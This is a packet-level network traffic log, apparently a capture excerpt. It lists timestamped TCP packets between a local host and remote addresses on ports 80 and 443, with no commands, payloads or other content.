Nov 11, 2024 14:33:07.522967100 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.522991896 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523016930 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523042917 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523055077 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523066044 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523077965 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523088932 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523101091 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523101091 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523118019 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523125887 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523130894 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523140907 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523144007 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523152113 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523169041 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523169994 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523190022 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523192883 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523205042 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523219109 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523236036 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523247957 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523248911 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523262978 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523277998 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523278952 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523288965 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523300886 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523305893 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523334026 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523354053 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523365974 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523375988 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523395061 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523403883 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523422003 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523427010 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523447037 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523454905 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523458958 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523472071 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523482084 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523509026 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523760080 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523812056 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523816109 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523829937 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523842096 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523859978 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523879051 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523895979 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523907900 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523917913 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523931026 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523948908 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523960114 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.523981094 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.523993969 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524004936 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524014950 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524029016 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.524054050 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.524131060 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524142981 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524152994 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524172068 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524179935 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.524183989 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524189949 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.524199009 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524210930 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524223089 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524230003 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.524244070 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524255037 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.524257898 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524271011 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524272919 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.524282932 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524295092 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524302959 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.524307966 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.524348974 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.524348974 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.526381969 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526395082 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526406050 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526423931 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526436090 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526437044 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.526448011 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526459932 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526465893 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.526473045 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526478052 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.526489019 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526500940 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526513100 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.526536942 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.526638031 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526650906 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526662111 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526674032 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526684999 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526690006 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.526704073 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.526705027 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526716948 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.526717901 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526730061 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526748896 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526748896 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.526756048 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.526762009 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526777029 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526787043 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526788950 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.526794910 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526801109 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526807070 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526817083 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.526818037 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.526873112 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.557841063 CET	443	49827	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.558657885 CET	443	49828	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.559175014 CET	49827	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.559187889 CET	443	49827	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.559535980 CET	443	49829	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.559621096 CET	49827	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.559624910 CET	443	49827	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.559858084 CET	49829	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.559870005 CET	443	49829	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.560174942 CET	49829	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.560178995 CET	443	49829	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.560332060 CET	49828	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.560347080 CET	443	49828	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.560653925 CET	49828	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.560658932 CET	443	49828	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.570740938 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.570811033 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.570822954 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.570833921 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.570846081 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.570864916 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.570875883 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.570888996 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.570907116 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.570918083 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.570931911 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.570944071 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.570955992 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.570981979 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.571007967 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.602354050 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602375031 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602391005 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602402925 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602413893 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602430105 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602452993 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602456093 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.602466106 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602478027 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602495909 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602507114 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602518082 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602526903 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.602530003 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602535963 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.602543116 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602554083 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602566957 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.602571011 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.602602005 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634248018 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634293079 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634303093 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634334087 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634341955 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634355068 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634360075 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634367943 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634381056 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634397984 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634408951 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634416103 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634416103 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634421110 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634433031 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634445906 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634453058 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634463072 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634473085 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634484053 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634484053 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634484053 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634495020 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634504080 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634519100 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634527922 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634538889 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634550095 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634558916 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634582043 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634603024 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634608984 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634661913 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634673119 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634711981 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634778976 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634794950 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634805918 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634815931 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634834051 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634860039 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634860039 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634872913 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634884119 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634893894 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634903908 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634907961 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634929895 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634946108 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634958029 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.634960890 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.634989023 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635008097 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635016918 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635027885 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635039091 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635049105 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635059118 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635071993 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635088921 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635098934 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635107994 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635112047 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635123014 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635135889 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635143042 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635154963 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635174990 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635186911 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635194063 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635207891 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635217905 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635243893 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635257006 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635267973 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635279894 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635303020 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635324955 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635340929 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635353088 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635363102 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635379076 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635394096 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635420084 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635432005 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635432005 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635445118 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635457993 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635468960 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635471106 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635481119 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635492086 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635509968 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635514975 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635525942 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635550022 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635564089 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635603905 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635674000 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635684967 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635695934 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635706902 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635716915 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635727882 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635730982 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635745049 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635756016 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635773897 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635783911 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635787010 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635798931 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635803938 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635811090 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635821104 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635823011 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635837078 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635848045 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635880947 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.635936975 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.635982037 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636046886 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636056900 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636065960 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636077881 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636101007 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636116982 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636127949 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636127949 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636141062 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636152029 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636152029 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636174917 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636187077 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636189938 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636198044 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636209011 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636209011 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636220932 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636234999 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636234999 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636266947 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636276007 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636286020 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636290073 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636296988 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636308908 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636313915 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636327028 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636339903 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636344910 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636346102 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636363983 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636373997 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636384964 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636384964 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636392117 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636420012 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636446953 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636471033 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636487007 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636497974 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636507988 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636509895 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636524916 CET	80	49824	185.215.113.16	192.168.2.4
